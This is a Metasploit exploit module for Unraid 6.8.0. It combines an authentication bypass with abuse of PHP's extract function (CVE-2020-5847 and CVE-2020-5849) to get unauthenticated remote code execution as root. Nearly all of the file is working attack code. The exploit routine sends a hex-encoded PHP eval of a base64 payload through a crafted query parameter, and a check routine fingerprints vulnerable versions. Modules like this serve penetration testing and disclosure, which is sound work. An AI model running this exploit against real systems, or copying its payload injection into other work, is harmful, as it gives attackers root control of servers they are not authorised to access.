##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  Rank = ExcellentRanking
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Unraid 6.8.0 Auth Bypass PHP Code Execution',
        'Description' => %q{
          This module exploits two vulnerabilities affecting Unraid 6.8.0.
          An authentication bypass is used to gain access to the administrative
          interface, and an insecure use of the extract PHP function can be abused
          for arbitrary code execution as root.
        },
        'Author' => [
          'Nicolas CHATELAIN <n.chatelain@sysdream.com>'
        ],
        'References' => [
          [ 'CVE', '2020-5847' ],
          [ 'CVE', '2020-5849' ],
          [ 'URL', 'https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/' ],
          [ 'URL', 'https://forums.unraid.net/topic/88253-critical-security-vulnerabilies-discovered/' ]
        ],
        'License' => MSF_LICENSE,
        'Platform' => ['php'],
        'Privileged' => true,
        'Arch' => ARCH_PHP,
        'Targets' => [
          [ 'Automatic', {}]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-02-10',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The URI of the Unraid application', '/'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
      'method' => 'GET'
    )

    unless res
      return CheckCode::Unknown('Connection failed')
    end

    unless res.code == 200
      return CheckCode::Safe('Unexpected reply')
    end

    /\sVersion:\s(?<version>\d{1,2}\.\d{1,2}\.\d{1,2})&nbsp;/ =~ res.body

    if version && Rex::Version.new(version) == Rex::Version.new('6.8.0')
      return CheckCode::Appears("Unraid version #{version} appears to be vulnerable")
    end

    CheckCode::Safe
  end

  def exploit
    vprint_status('Sending exploit code')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
      'method' => 'GET',
      'encode_params' => false,
      'vars_get' =>
      {
        'path' => 'x',
        'site[x][text]' => Rex::Text.uri_encode("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", 'hex-normal')
      }
    )

    if res.nil?
      print_good('Request timed out, OK if running a non-forking/blocking payload...')
    elsif res.code == 302
      fail_with(Failure::NotVulnerable, 'Redirected, target is not vulnerable.')
    else
      print_warning("Unexpected response code #{res.code}, please check your payload.")
    end
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
end
